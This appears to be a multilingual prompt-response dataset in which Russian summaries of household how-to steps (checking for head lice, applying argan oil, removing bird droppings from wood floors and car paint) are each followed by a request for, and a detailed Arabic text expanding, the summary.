إبراز وسيلة التواصل الخاصة بكل شركة لكي تستطيع الوصول إليها بسهولة. مع بدء المكالمة، دوّن تاريخ كل مكالمة ونتائجها والشخص الذي تواصلت معه في الجدول الخاص بالشركة، لتتمكن من الرجوع إلى تلك المعلومات لاحقًا بسهولة.


Найдите яркий источник света. Намочите волосы. Определите взрослых особей. Определите яйца, так называемые гниды. Определите вылупившихся гнид.

Given the above summary, write a detailed text in Arabic for it.

الضوء الطبيعي جيد إن لم يكن مختفيًا خلف الستائر. عادة ما تكون إضاءة الحمام كافية. إن كنت بحاجة لمصدر إضافي للضوء، استخدم مصباحًا يدويًا قويًا أو مصباح مكتب صغير. يمكنك فعل هذا تحت الصنبور أو باستخدام زجاجة الرش. يمكن رؤية القمل على الشعر الجاف أو المبلل، ولكن يسهل على الكثير من الأشخاص رؤية القمل في حالة بلل الشعر.  يسهل الشعر المبلل تقسيم للشعر، وربط الأجزاء التي قمت بفحصها بعيدًا لتتمكن من تفقد باقي الشعر. يصعب رؤية قمل الرأس البالغ لأنه يتحرك بسرعة ويكره الضوء. بينما تقوم بالبحث في الشعر، يمكنه التحرك بسرعة ليختبا بين الظلال. برغم ضآلة القمل البالغ، إلا أنك ستتمكن من رؤيته إن كنت تستطيع قراءة كتابات الجرائد الصغيرة.  القمل البالغ لونه بني فاتح، وفي حجم حبة السمسم. غالبًا ما تتواجد القملات البالغة بالقرب من فروة الرأس، وفي الشعر أعلى وخلف الأذن، وفي أسفل الرقبة. " يلتزق البيض، كالأسمنت، بالشعر. يميل لون البيض، قبل فقسه، للبني المصفر أو البرونزي، ويتخذ شكل حبوب صغيرة. البيض الحديث يكون لامعًا، وغالبًا ما يتواجد بالقرب من فروة الرأس. عند فقس البيض، تظل البيضة مثبتة بالشعر، ويصبح لون غلافها شفافًا تقريبًا.


Накапайте несколько капель арганового масла на ладони и разотрите, чтобы масло согрелось. Чтобы волосы выглядели шелковистыми и гладкими, наносите аргановое масло 2–3 раза в неделю.

Given the above summary, write a detailed text in Arabic for it.

ابدئي بقطرات قليلة عند بدء استخدام زيت الأرجان؛ القليل يُحدِث فرقًا كبيرًا، بجانب أن الاستخدام المُفرط قد يُثقل شعرك. افركي يديكِ معًا لتوزيع الزيت على كلتا الراحتين وتسخينه، وبالتالي يسهُل توزيعه في شعرك وتغلغله به. يحافظ الزيت عادةً على لمعان شعرك لمدة 2 إلى 3 أيام على الأقل؛ وذلك لأن الزيت عالي التركيز ويخترق شعرك بعمق، مما يساعد على الحفاظ على نعومة شعرك. إذا كان شعرك متقصفًا للغاية أو تالفًا، فقد يحتاج إلى كمية أكبر من الزيت. لا بأس في هذه الحالة من استخدام زيت الأرجان يوميًا.


Накиньте на пятно тряпку, смоченную в теплой воде. Обработайте пятно специализированным чистящим средством. Оставьте чистящее средство на поверхности совсем ненадолго. Осторожно сотрите пятно мягким полотенцем.

Given the above summary, write a detailed text in Arabic for it.

بللي قطعة قماش بالماء الدافئ أو الساخن وافرديها على المنطقة المُلطخة. يفضل استخدام قطعة قماش مبللة لوضع المياه الدافئة مباشرةً على الأرضية الخشبية أو طلاء السيارة لأن قطعة القماش تحبس الحرارة والرطوبة بدلًا من المياه الدفقة أو تسبيب الضرر بالمياه. اتركي المنطقة تنقع في الرطوبة الموجودة في قطعة القماش. عالجي المنطقة مباشرةً باستخدام مُنظف الأخشاب أو السيارات بمجرد ترخية روث الطيور. إذا كانت الأرضية الناعمة من الفينيل أو شيء مشابه، ينيغي أن يعمل المنظف متعدد الأغراض بشكل جيد أو ربما تكون قد نجحت باستخدام المنشفة المبللة بالمياه الدافئة بمفردها. رشي أو ضعي كمية كافية من المُنظف على المنطقة لتغطيتها، لكن تجنبي استخدام كمية كبيرة من المُنظف على المنطقة غير المتضررة من الأرضية الخشبية أو الدهان.  ينبغي أن يتمكن مُنظفات الغسل والتشميع من إنجاز المهمة على السيارة. محاليل الغسل والتشميع مصنوعة خصيصًا لإزالة الوسخ والزيت والشحوم من السيارة كما تترك الطبقة العلوية من الطلاء بلمعان شمعي نقي.  ينصح بشراء منتجات التنظيف المخصصة لمعالجة الأسطح ذات الطابع الخاص، لكن إذا كنتِ تشعرين إنك ستهدرين الكثير من المال، يمكنكِ اتباع الطريق المنزلي. يمكنكِ خلط  مُلمع أخشاب خفيف من المياه الساخنة وزيت الزيتون وعصير الليمون بينما يعمل صابون الأطباق المخفف بالماء الدافئ بمثابة محلول تقليدي لكنه فعال لتنظيف السيارات من الخارج. تعتبر الأرضيات الخشبية وطلاء السيارة من الأسطح القابلة للتلف بسهولة، لذلك اتركي المُنظف عليها بضع ثوانٍ فقط لإتاحة الوقت الكافي لتنقع وإلا قد يتسرب المُنظف خلال المنطقة والبقعة إلى الأرضية الخشبية أو يعمل على تآكل الطبقة العلوية من طلاء السيارة. لذلك لا داعي لترك المُنظف لفترة طويلة على المنطقة لأن الأسطح الصلبة والناعمة غير مسامية وبالتالي لا داعي لتسرب المُنظف بداخل الخامة كي ينظفها. استخدمي منشفة أخرى نظيفة ومبللة وامسحي أكبر قدر ممكن من روث الطيور وستعمل التمريرات العريضة الخفيفة بشكل أفضل هنا. حاولي ألا تفركي بحركة ذهابًا وإيابًا أو تضعي ضغطًا كبيرًا إذ قد يسبب ذلك ترخية الطلاء الخارجي للسطح.  المناشف المصنوعة من الألياف الدقيقة ناعمة جدًا وتعمل أنسجتها على الاحتفاظ بالأتربة والمياه التي تمتصها مما يجعلها مثالية لمهمات التنظيف الخفيفة.  احرصي على تجفيف الأرضيات الخشبية بسرعة؛ قد يسبب ترك الرطوبة على الخشب تشققه والتواءه.